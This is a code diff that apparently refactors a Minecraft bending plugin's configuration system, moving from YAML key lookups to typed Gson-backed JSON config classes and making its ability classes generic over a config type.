@ -113,10 +112,6 @@ public abstract class FireAbility extends ElementalAbility {
return value;
}
public static ChatColor getSubChatColor() {
return ChatColor.valueOf(ConfigManager.getConfig().getString("Properties.Chat.Colors.FireSub"));
}
public static boolean isIgnitable(final Block block) {
return block != null ? isIgnitable(block.getType()) : false;
}
@ -142,40 +137,22 @@ public abstract class FireAbility extends ElementalAbility {
}
public static void playCombustionSound(final Location loc) {
if (getConfig().getBoolean("Properties.Fire.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Fire.CombustionSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Fire.CombustionSound.Pitch");
Sound sound = Sound.ENTITY_FIREWORK_ROCKET_BLAST;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Fire.CombustionSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Fire.CombustionSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
FirePropertiesConfig fire = ConfigManager.getConfig(FirePropertiesConfig.class);
if (fire.PlaySound) {
loc.getWorld().playSound(loc, fire.CombustionSoundType, fire.CombustionSoundVolume, fire.CombustionSoundPitch);
}
}
public static void playFirebendingParticles(final Location loc, final int amount, final double xOffset, final double yOffset, final double zOffset) {
ParticleEffect.FLAME.display(loc, amount, xOffset, yOffset, zOffset);
ConfigManager.getConfig(FirePropertiesConfig.class).Particles.display(loc, amount, xOffset, yOffset, zOffset);
}
public static void playFirebendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Fire.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Fire.FireSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Fire.FireSound.Pitch");
Sound sound = Sound.BLOCK_FIRE_AMBIENT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Fire.FireSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Fire.FireSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
FirePropertiesConfig fire = ConfigManager.getConfig(FirePropertiesConfig.class);
if (fire.PlaySound) {
loc.getWorld().playSound(loc, fire.SoundType, fire.SoundVolume, fire.SoundPitch);
}
}
@ -188,19 +165,10 @@ public abstract class FireAbility extends ElementalAbility {
}
public static void playLightningbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Fire.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Fire.LightningSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Fire.LightningSound.Pitch");
Sound sound = Sound.ENTITY_CREEPER_HURT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Fire.LightningSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Fire.LightningSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
FirePropertiesConfig fire = ConfigManager.getConfig(FirePropertiesConfig.class);
if (fire.PlaySound) {
loc.getWorld().playSound(loc, fire.LightningSoundType, fire.LightningSoundVolume, fire.LightningSoundPitch);
}
}

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class FlightAbility extends AirAbility implements SubAbility {
public abstract class FlightAbility<C extends AbilityConfig> extends AirAbility<C> implements SubAbility {
public FlightAbility(final Player player) {
super(player);
public FlightAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class HealingAbility extends WaterAbility implements SubAbility {
public abstract class HealingAbility<C extends AbilityConfig> extends WaterAbility<C> implements SubAbility {
public HealingAbility(final Player player) {
super(player);
public HealingAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class IceAbility extends WaterAbility implements SubAbility {
public abstract class IceAbility<C extends AbilityConfig> extends WaterAbility<C> implements SubAbility {
public IceAbility(final Player player) {
super(player);
public IceAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class LavaAbility extends EarthAbility implements SubAbility {
public abstract class LavaAbility<C extends AbilityConfig> extends EarthAbility<C> implements SubAbility {
public LavaAbility(final Player player) {
super(player);
public LavaAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class LightningAbility extends FireAbility implements SubAbility {
public abstract class LightningAbility<C extends AbilityConfig> extends FireAbility<C> implements SubAbility {
public LightningAbility(final Player player) {
super(player);
public LightningAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class MetalAbility extends EarthAbility implements SubAbility {
public abstract class MetalAbility<C extends AbilityConfig> extends EarthAbility<C> implements SubAbility {
public MetalAbility(final Player player) {
super(player);
public MetalAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class PlantAbility extends WaterAbility implements SubAbility {
public abstract class PlantAbility<C extends AbilityConfig> extends WaterAbility<C> implements SubAbility {
public PlantAbility(final Player player) {
super(player);
public PlantAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class SandAbility extends EarthAbility implements SubAbility {
public abstract class SandAbility<C extends AbilityConfig> extends EarthAbility<C> implements SubAbility {
public SandAbility(final Player player) {
super(player);
public SandAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class SpiritualAbility extends AirAbility implements SubAbility {
public abstract class SpiritualAbility<C extends AbilityConfig> extends AirAbility<C> implements SubAbility {
public SpiritualAbility(final Player player) {
super(player);
public SpiritualAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -5,7 +5,6 @@ import java.util.Set;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.Tag;
import org.bukkit.World;
import org.bukkit.block.Block;
@ -17,8 +16,11 @@ import org.bukkit.util.Vector;
import com.projectkorra.projectkorra.BendingPlayer;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.GeneralMethods;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.util.Collision;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.SourcedWaterAbilityConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.WaterPropertiesConfig;
import com.projectkorra.projectkorra.firebending.HeatControl;
import com.projectkorra.projectkorra.util.BlockSource;
import com.projectkorra.projectkorra.util.ParticleEffect;
@ -30,18 +32,26 @@ import com.projectkorra.projectkorra.waterbending.WaterSpout;
import com.projectkorra.projectkorra.waterbending.ice.PhaseChange;
import com.projectkorra.projectkorra.waterbending.multiabilities.WaterArms;
public abstract class WaterAbility extends ElementalAbility {
public abstract class WaterAbility<C extends AbilityConfig> extends ElementalAbility<C> {
public WaterAbility(final Player player) {
super(player);
public WaterAbility(final C config, final Player player) {
super(config, player);
}
public boolean canAutoSource() {
return getConfig().getBoolean("Abilities." + this.getElement() + "." + this.getName() + ".CanAutoSource");
if (config instanceof SourcedWaterAbilityConfig) {
return ((SourcedWaterAbilityConfig) config).CanAutoSource;
}
return false;
}
public boolean canDynamicSource() {
return getConfig().getBoolean("Abilities." + this.getElement() + "." + this.getName() + ".CanDynamicSource");
if (config instanceof SourcedWaterAbilityConfig) {
return ((SourcedWaterAbilityConfig) config).CanDynamicSource;
}
return false;
}
@Override
@ -150,7 +160,7 @@ public abstract class WaterAbility extends ElementalAbility {
}
public static double getNightFactor() {
return getConfig().getDouble("Properties.Water.NightFactor");
return ConfigManager.getConfig(WaterPropertiesConfig.class).NightFactor;
}
public static double getNightFactor(final double value, final World world) {
@ -296,53 +306,26 @@ public abstract class WaterAbility extends ElementalAbility {
}
public static void playIcebendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Water.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Water.IceSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Water.IceSound.Pitch");
Sound sound = Sound.ITEM_FLINTANDSTEEL_USE;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Water.IceSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Water.IceSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
WaterPropertiesConfig water = ConfigManager.getConfig(WaterPropertiesConfig.class);
if (water.PlaySound) {
loc.getWorld().playSound(loc, water.IceSoundType, water.IceSoundVolume, water.IceSoundPitch);
}
}
public static void playPlantbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Water.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Water.PlantSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Water.PlantSound.Pitch");
Sound sound = Sound.BLOCK_GRASS_STEP;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Water.PlantSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Water.PlantSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
WaterPropertiesConfig water = ConfigManager.getConfig(WaterPropertiesConfig.class);
if (water.PlaySound) {
loc.getWorld().playSound(loc, water.PlantSoundType, water.PlantSoundVolume, water.PlantSoundPitch);
}
}
public static void playWaterbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Water.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Water.WaterSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Water.WaterSound.Pitch");
Sound sound = Sound.BLOCK_WATER_AMBIENT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Water.WaterSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Water.WaterSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
WaterPropertiesConfig water = ConfigManager.getConfig(WaterPropertiesConfig.class);
if (water.PlaySound) {
loc.getWorld().playSound(loc, water.SoundType, water.SoundVolume, water.SoundPitch);
}
}

View file

@ -15,7 +15,8 @@ import com.projectkorra.projectkorra.Element.SubElement;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.ComboAbility;
import com.projectkorra.projectkorra.ability.CoreAbility;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.EarthDomeConfig;
import com.projectkorra.projectkorra.earthbending.combo.EarthDomeOthers;
import com.projectkorra.projectkorra.util.ClickType;
import com.projectkorra.projectkorra.util.ReflectionHandler;
@ -32,8 +33,8 @@ public class ComboManager {
COMBO_ABILITIES.clear();
DESCRIPTIONS.clear();
INSTRUCTIONS.clear();
if (ConfigManager.defaultConfig.get().getBoolean("Abilities.Earth.EarthDome.Enabled")) {
if (ConfigManager.getConfig(EarthDomeConfig.class).Enabled) {
final ArrayList<AbilityInformation> earthDomeOthers = new ArrayList<>();
earthDomeOthers.add(new AbilityInformation("RaiseEarth", ClickType.RIGHT_CLICK_BLOCK));
earthDomeOthers.add(new AbilityInformation("Shockwave", ClickType.LEFT_CLICK));

View file

@ -9,6 +9,8 @@ import org.bukkit.potion.PotionEffectType;
import com.projectkorra.projectkorra.ability.AvatarAbility;
import com.projectkorra.projectkorra.attribute.Attribute;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.avatar.AvatarStateConfig;
public class AvatarState extends AvatarAbility {
@ -21,15 +23,14 @@ public class AvatarState extends AvatarAbility {
private int regenPower;
private int speedPower;
private int resistancePower;
private int fireResistancePower;
@Attribute(Attribute.DURATION)
private long duration;
@Attribute(Attribute.COOLDOWN)
private long cooldown;
private double factor;
public AvatarState(final Player player) {
super(player);
public AvatarState(final AvatarStateConfig config, final Player player) {
super(config, player);
final AvatarState oldAbil = getAbility(player, AvatarState.class);
if (oldAbil != null) {
@ -39,17 +40,16 @@ public class AvatarState extends AvatarAbility {
return;
}
this.regenEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.Regeneration.Enabled");
this.speedEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.Speed.Enabled");
this.resistanceEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.DamageResistance.Enabled");
this.fireResistanceEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.FireResistance.Enabled");
this.regenPower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.Regeneration.Power") - 1;
this.speedPower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.Speed.Power") - 1;
this.resistancePower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.DamageResistance.Power") - 1;
this.fireResistancePower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.FireResistance.Power") - 1;
this.duration = getConfig().getLong("Abilities.Avatar.AvatarState.Duration");
this.cooldown = getConfig().getLong("Abilities.Avatar.AvatarState.Cooldown");
this.factor = getConfig().getDouble("Abilities.Avatar.AvatarState.PowerMultiplier");
this.regenEnabled = config.RegenerationEnabled;
this.speedEnabled = config.SpeedEnabled;
this.resistanceEnabled = config.ResistanceEnabled;
this.fireResistanceEnabled = config.FireResistanceEnabled;
this.regenPower = config.RegenerationPower - 1;
this.speedPower = config.SpeedPower - 1;
this.resistancePower = config.ResistancePower - 1;
this.duration = config.Duration;
this.cooldown = config.Cooldown;
this.factor = config.PowerMultiplier;
playAvatarSound(player.getLocation());
@ -90,7 +90,7 @@ public class AvatarState extends AvatarAbility {
this.addProgressPotionEffect(PotionEffectType.DAMAGE_RESISTANCE, this.resistancePower);
}
if (this.fireResistanceEnabled) {
this.addProgressPotionEffect(PotionEffectType.FIRE_RESISTANCE, this.fireResistancePower);
this.addProgressPotionEffect(PotionEffectType.FIRE_RESISTANCE, 0);
}
}
@ -101,7 +101,7 @@ public class AvatarState extends AvatarAbility {
}
public static double getValue(final double value) {
final double factor = getConfig().getDouble("Abilities.Avatar.AvatarState.PowerMultiplier");
final double factor = ConfigManager.getConfig(AvatarStateConfig.class).PowerMultiplier;
return factor * value;
}
@ -198,14 +198,6 @@ public class AvatarState extends AvatarAbility {
this.resistancePower = resistancePower;
}
public int getFireResistancePower() {
return this.fireResistancePower;
}
public void setFireResistancePower(final int fireResistancePower) {
this.fireResistancePower = fireResistancePower;
}
public long getDuration() {
return this.duration;
}

View file

@ -37,7 +37,7 @@ public class WhoCommand extends PKCommand {
/**
* Map storage of all ProjectKorra staffs' UUIDs and titles
*/
final Map<String, String> staff = new HashMap<String, String>(), playerInfoWords = new HashMap<String, String>();
final Map<String, String> staff = new HashMap<>();
private final String databaseOverload, noPlayersOnline, playerOffline;
@ -159,7 +159,7 @@ public class WhoCommand extends PKCommand {
if (bPlayer == null) {
GeneralMethods.createBendingPlayer(player.getUniqueId(), playerName);
final BukkitRunnable runnable = new BukkitRunnable() {
new BukkitRunnable() {
@Override
public void run() {
int count = 0;
@ -180,8 +180,7 @@ public class WhoCommand extends PKCommand {
}
WhoCommand.this.whoPlayer(sender, playerName);
}
};
runnable.runTaskAsynchronously(ProjectKorra.plugin);
}.runTaskAsynchronously(ProjectKorra.plugin);
return;
}
@ -327,10 +326,6 @@ public class WhoCommand extends PKCommand {
if (this.staff.containsKey(uuid.toString())) {
sender.sendMessage(this.staff.get(uuid.toString()));
}
if (player.getPlayer() != null && player.getPlayer().hasPermission("bending.donor")) {
sender.sendMessage(Element.AVATAR.getColor() + "Server Donor");
}
}
}

View file

@ -11,7 +11,7 @@ import com.projectkorra.projectkorra.ProjectKorra;
* A config utility class for Project Korra. To get the config itself use
* {@link #get()}.
*/
public class Config {
public class OldConfig {
private final ProjectKorra plugin;
@ -23,7 +23,7 @@ public class Config {
*
* @param file The file to create/load
*/
public Config(final File file) {
public OldConfig(final File file) {
this.plugin = ProjectKorra.plugin;
this.file = new File(this.plugin.getDataFolder() + File.separator + file);
this.config = YamlConfiguration.loadConfiguration(this.file);

View file

@ -6,13 +6,13 @@ import java.util.ArrayList;
import org.bukkit.Material;
import org.bukkit.configuration.file.FileConfiguration;
public class ConfigManager {
public class OldConfigManager {
public static Config presetConfig;
public static Config defaultConfig;
public static Config languageConfig;
public ConfigManager() {
public OldConfigManager() {
presetConfig = new Config(new File("presets.yml"));
defaultConfig = new Config(new File("config.yml"));
languageConfig = new Config(new File("language.yml"));

View file

@ -5,7 +5,7 @@ import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
public class ConfigType {
public class OldConfigType {
private static final HashMap<String, ConfigType> ALL_TYPES = new HashMap<>();
@ -16,7 +16,7 @@ public class ConfigType {
private final String string;
public ConfigType(final String string) {
public OldConfigType(final String string) {
this.string = string;
ALL_TYPES.put(string, this);
}

View file

@ -0,0 +1,9 @@
package com.projectkorra.projectkorra.configuration.better;
public interface Config {
String getName();
String[] getParents();
}

View file

@ -0,0 +1,91 @@
package com.projectkorra.projectkorra.configuration.better;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import org.bukkit.plugin.java.JavaPlugin;
import com.google.common.io.Files;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.projectkorra.projectkorra.ProjectKorra;
public class ConfigManager {
private static final Gson GSON = new GsonBuilder().setPrettyPrinting().create();
private static final Map<Class<? extends Config>, Config> CONFIG_CACHE = Collections.synchronizedMap(new HashMap<>());
static {
JavaPlugin.getProvidingPlugin(ConfigManager.class).getDataFolder().mkdir();
}
private static <C extends Config> C loadConfig(File file, Class<C> clazz) throws IOException {
try (BufferedReader reader = Files.newReader(file, Charset.defaultCharset())) {
return GSON.fromJson(reader, clazz);
}
}
private static <C extends Config> void saveConfig(File file, C config) throws IOException {
try (BufferedWriter writer = Files.newWriter(file, Charset.defaultCharset())) {
GSON.toJson(config, writer);
}
}
public static void clearCache() {
CONFIG_CACHE.clear();
}
@SuppressWarnings("unchecked")
public static <C extends Config> C getConfig(Class<C> clazz) {
if (CONFIG_CACHE.containsKey(clazz))
{
return (C) CONFIG_CACHE.get(clazz);
}
try {
C defaultConfig = clazz.newInstance();
CONFIG_CACHE.put(clazz, defaultConfig);
File file = new File(JavaPlugin.getPlugin(ProjectKorra.class).getDataFolder(), "config");
file.mkdir();
for (String parent : defaultConfig.getParents()) {
file = new File(file, parent);
file.mkdir();
}
file = new File(file, defaultConfig.getName() + ".json");
if (file.exists()) {
try {
C config = loadConfig(file, clazz);
CONFIG_CACHE.put(clazz, config);
return config;
} catch (IOException e) {
e.printStackTrace();
return defaultConfig;
}
} else {
try {
saveConfig(file, defaultConfig);
} catch (IOException e) {
e.printStackTrace();
}
}
return defaultConfig;
} catch (InstantiationException | IllegalAccessException e) {
e.printStackTrace();
return null;
}
}
}

View file

@ -0,0 +1,17 @@
package com.projectkorra.projectkorra.configuration.better.configs.abilities;
import com.projectkorra.projectkorra.configuration.better.Config;
public abstract class AbilityConfig implements Config {
public final boolean Enabled;
public final String Description;
public final String Instructions;
public AbilityConfig(boolean enabled, String description, String instructions) {
Enabled = enabled;
Description = description;
Instructions = instructions;
}
}

View file

@ -0,0 +1,19 @@
package com.projectkorra.projectkorra.configuration.better.configs.abilities;
public class EarthDomeConfig extends AbilityConfig {
public EarthDomeConfig() {
super(true, "", "");
}
@Override
public String getName() {
return "EarthDome";
}
@Override
public String[] getParents() {
return new String[] { "Abilities", "Earth" };
}
}

View file

@ -0,0 +1,15 @@
package com.projectkorra.projectkorra.configuration.better.configs.abilities;
public abstract class SourcedWaterAbilityConfig extends AbilityConfig {
public final boolean CanAutoSource;
public final boolean CanDynamicSource;
public SourcedWaterAbilityConfig(boolean enabled, String description, String instructions, boolean canAutoSource, boolean canDynamicSource) {
super(enabled, description, instructions);
CanAutoSource = canAutoSource;
CanDynamicSource = canDynamicSource;
}
}

View file

@ -0,0 +1,58 @@
package com.projectkorra.projectkorra.configuration.better.configs.abilities.avatar;
import org.bukkit.Sound;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public class AvatarStateConfig extends AbilityConfig {
/**
* this.regenEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.Regeneration.Enabled");
this.speedEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.Speed.Enabled");
this.resistanceEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.DamageResistance.Enabled");
this.fireResistanceEnabled = getConfig().getBoolean("Abilities.Avatar.AvatarState.PotionEffects.FireResistance.Enabled");
this.regenPower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.Regeneration.Power") - 1;
this.speedPower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.Speed.Power") - 1;
this.resistancePower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.DamageResistance.Power") - 1;
this.fireResistancePower = getConfig().getInt("Abilities.Avatar.AvatarState.PotionEffects.FireResistance.Power") - 1;
this.duration = getConfig().getLong("Abilities.Avatar.AvatarState.Duration");
this.cooldown = getConfig().getLong("Abilities.Avatar.AvatarState.Cooldown");
this.factor = getConfig().getDouble("Abilities.Avatar.AvatarState.PowerMultiplier");
*/
public final double PowerMultiplier = 0;
public final long Duration = 0;
public final long Cooldown = 0;
public final boolean RegenerationEnabled = true;
public final int RegenerationPower = 0;
public final boolean SpeedEnabled = true;
public final int SpeedPower = 0;
public final boolean ResistanceEnabled = true;
public final int ResistancePower = 0;
public final boolean FireResistanceEnabled = true;
public final boolean PlaySound = true;
public final Sound SoundType = Sound.BLOCK_ANVIL_LAND;
public final float SoundVolume = 0;
public final float SoundPitch = 0;
public AvatarStateConfig(boolean enabled, String description, String instructions) {
super(true, "", "");
}
@Override
public String getName() {
return "AvatarState";
}
@Override
public String[] getParents() {
return new String[] { "Abilities", "Avatar" };
}
}

View file

@ -0,0 +1,27 @@
package com.projectkorra.projectkorra.configuration.better.configs.properties;
import org.bukkit.Sound;
import com.projectkorra.projectkorra.configuration.better.Config;
import com.projectkorra.projectkorra.util.ParticleEffect;
public class AirPropertiesConfig implements Config {
public final ParticleEffect Particles = ParticleEffect.SPELL;
public final boolean PlaySound = true;
public final Sound SoundType = Sound.ENTITY_CREEPER_HURT;
public final float SoundVolume = 0;
public final float SoundPitch = 0;
@Override
public String getName() {
return "Air";
}
@Override
public String[] getParents() {
return new String[] { "Properties" };
}
}

View file

@ -0,0 +1,46 @@
package com.projectkorra.projectkorra.configuration.better.configs.properties;
import org.bukkit.ChatColor;
import com.projectkorra.projectkorra.configuration.better.Config;
public class ChatPropertiesConfig implements Config {
public final boolean Enabled = true;
public final String Format = "<name>: <message>";
public final String AvatarPrefix = "[Avatar]";
public final ChatColor AvatarColor = ChatColor.DARK_PURPLE;
public final String AirPrefix = "[Air]";
public final ChatColor AirColor = ChatColor.GRAY;
public final ChatColor AirSubColor = ChatColor.DARK_GRAY;
public final String EarthPrefix = "[Earth]";
public final ChatColor EarthColor = ChatColor.GREEN;
public final ChatColor EarthSubColor = ChatColor.DARK_GREEN;
public final String FirePrefix = "[Fire]";
public final ChatColor FireColor = ChatColor.RED;
public final ChatColor FireSubColor = ChatColor.DARK_RED;
public final String WaterPrefix = "[Water]";
public final ChatColor WaterColor = ChatColor.AQUA;
public final ChatColor WaterSubColor = ChatColor.DARK_AQUA;
public final String ChiPrefix = "[Chi]";
public final ChatColor ChiColor = ChatColor.GOLD;
public final String NonbenderPrefix = "[Nonbender]";
@Override
public String getName() {
return "Chat";
}
@Override
public String[] getParents() {
return new String[] { "Properties" };
}
}

View file

@ -0,0 +1,45 @@
package com.projectkorra.projectkorra.configuration.better.configs.properties;
import org.bukkit.Material;
import org.bukkit.Sound;
import com.projectkorra.projectkorra.configuration.better.Config;
public class EarthPropertiesConfig implements Config {
public final Material[] EarthBlocks = {};
public final boolean RevertEarthbending = true;
public final boolean PlaySound = true;
public final Sound SoundType = Sound.ENTITY_GHAST_SHOOT;
public final float SoundVolume = 0;
public final float SoundPitch = 0;
public final Material[] MetalBlocks = {};
public final double MetalPowerFactor = 0;
public final Sound MetalSoundType = Sound.ENTITY_IRON_GOLEM_HURT;
public final float MetalSoundVolume = 0;
public final float MetalSoundPitch = 0;
public final Material[] SandBlocks = {};
public final Sound SandSoundType = Sound.BLOCK_SAND_BREAK;
public final float SandSoundVolume = 0;
public final float SandSoundPitch = 0;
public final Sound LavaSoundType = Sound.BLOCK_LAVA_AMBIENT;
public final float LavaSoundVolume = 0;
public final float LavaSoundPitch = 0;
@Override
public String getName() {
return "Earth";
}
@Override
public String[] getParents() {
return new String[] { "Properties" };
}
}

View file

@ -0,0 +1,39 @@
package com.projectkorra.projectkorra.configuration.better.configs.properties;
import org.bukkit.Sound;
import com.projectkorra.projectkorra.configuration.better.Config;
import com.projectkorra.projectkorra.util.ParticleEffect;
public class FirePropertiesConfig implements Config {
public final boolean Griefing = true;
public final long RevertTicks = 0;
public final double DayFactor = 0;
public final ParticleEffect Particles = ParticleEffect.FLAME;
public final boolean PlaySound = true;
public final Sound SoundType = Sound.BLOCK_FIRE_AMBIENT;
public final float SoundVolume = 0;
public final float SoundPitch = 0;
public final Sound CombustionSoundType = Sound.ENTITY_FIREWORK_ROCKET_BLAST;
public final float CombustionSoundVolume = 0;
public final float CombustionSoundPitch = 0;
public final Sound LightningSoundType = Sound.ENTITY_CREEPER_HURT;
public final float LightningSoundVolume = 0;
public final float LightningSoundPitch = 0;
@Override
public String getName() {
return "Fire";
}
@Override
public String[] getParents() {
return new String[] { "Properties" };
}
}

View file

@ -0,0 +1,53 @@
package com.projectkorra.projectkorra.configuration.better.configs.properties;
import com.projectkorra.projectkorra.configuration.better.Config;
public class GeneralPropertiesConfig implements Config {
public final boolean UpdateChecker = true;
public final double RegionProtection_CacheBlockTime = 0;
public final boolean RegionProtection_RespectResidence = true;
public final String RegionProtection_ResidenceFlag = "";
public final boolean RegionProtection_AllowHarmlessAbilities = true;
public final boolean RegionProtection_RespectWorldGuard = true;
public final boolean RegionProtection_RespectFactions = true;
public final boolean RegionProtection_RespectTowny = true;
public final boolean RegionProtection_RespectGriefPrevention = true;
public final boolean RegionProtection_RespectLWC = true;
public final boolean RegionProtection_RespectKingdoms = true;
public final boolean RegionProtection_RespectRedProtect = true;
public final boolean Statistics = true;
public final boolean DatabaseCooldowns = true;
public final boolean BendingPreview = true;
public final long GlobalCooldown = 0;
public final int MaxPresets = 0;
public final boolean ImportEnabled = false;
public final boolean BendingAffectFallingSand_Normal = true;
public final double BendingAffectFallingSand_Normal_StrengthMultiplier = 0;
public final boolean BendingAffectFallingSand_TNT = true;
public final double BendingAffectFallingSand_TNT_StrengthMultiplier = 0;
public final boolean DeathMessages = true;
public final boolean ApplyHorizontalCollisionBarrierBlockDamage = true;
@Override
public String getName() {
return "General";
}
@Override
public String[] getParents() {
return new String[] { "Properties" };
}
}

View file

@ -0,0 +1,43 @@
package com.projectkorra.projectkorra.configuration.better.configs.properties;
import org.bukkit.Material;
import org.bukkit.Sound;
import com.projectkorra.projectkorra.configuration.better.Config;
public class WaterPropertiesConfig implements Config {
public final Material[] WaterBlocks = {};
public final double NightFactor = 0;
public final boolean PlaySound = true;
public final Sound SoundType = Sound.BLOCK_WATER_AMBIENT;
public final float SoundVolume = 0;
public final float SoundPitch = 0;
public final Material[] IceBlocks = {};
public final Sound IceSoundType = Sound.ITEM_FLINTANDSTEEL_USE;
public final float IceSoundVolume = 0;
public final float IceSoundPitch = 0;
public final Material[] SnowBlocks = {};
public final Material[] PlantBlocks = {};
public final Sound PlantSoundType = Sound.BLOCK_GRASS_STEP;
public final float PlantSoundVolume = 0;
public final float PlantSoundPitch = 0;
@Override
public String getName() {
return "Water";
}
@Override
public String[] getParents() {
return new String[] { "Properties" };
}
}

View file

@ -9,10 +9,12 @@ import com.projectkorra.projectkorra.BendingPlayer;
